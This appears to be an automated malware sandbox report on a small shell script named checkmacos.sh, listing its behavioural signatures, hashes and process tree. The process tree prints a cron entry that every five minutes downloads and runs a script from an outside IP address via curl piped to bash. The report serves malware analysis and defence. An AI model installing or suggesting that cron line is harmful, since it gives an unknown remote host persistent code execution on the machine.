Analysis

  • max time kernel
    0s
  • max time network
    129s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20251231-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20251231-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    13/01/2026, 16:20

General

  • Target
    checkmacos.sh
  • Size 993B
  • Sample260113-ttd75act8f
  • SHA256 0ffa6dafa8c65e522224da55752e0b4b8b5fb386719a866247e40e788f5fa0d1
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/checkmacos.sh
    /tmp/checkmacos.sh
    1⤵
      PID:1529
      • /bin/grep
        grep -Fq "*/5 * * * * /usr/bin/bash -c 'cd /tmp && bash <(curl -s http://149.28.129.194/checkmacos.sh)' &"
        2⤵
          PID:1531
        • /usr/bin/crontab
          crontab -l
          2⤵
            PID:1530
          • /usr/bin/crontab
            crontab -
            2⤵
            • Creates/modifies Cron job
            PID:1533
          • /usr/bin/crontab
            crontab -l
            2⤵
              PID:1534
            • /usr/bin/pgrep
              pgrep -f macos
              2⤵
              • Reads CPU attributes
              • Reads runtime system information
              PID:1535

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                tmp.GjonEU

                • Path /var/spool/cron/crontabs/tmp.GjonEU
                • Size 271B
                • SHA256 2fc79123d1cde0e330a8ff4710141f2718a800605a12aa0e836c309fefd18f47
                • MD5 SHA1 SHA512 TLSH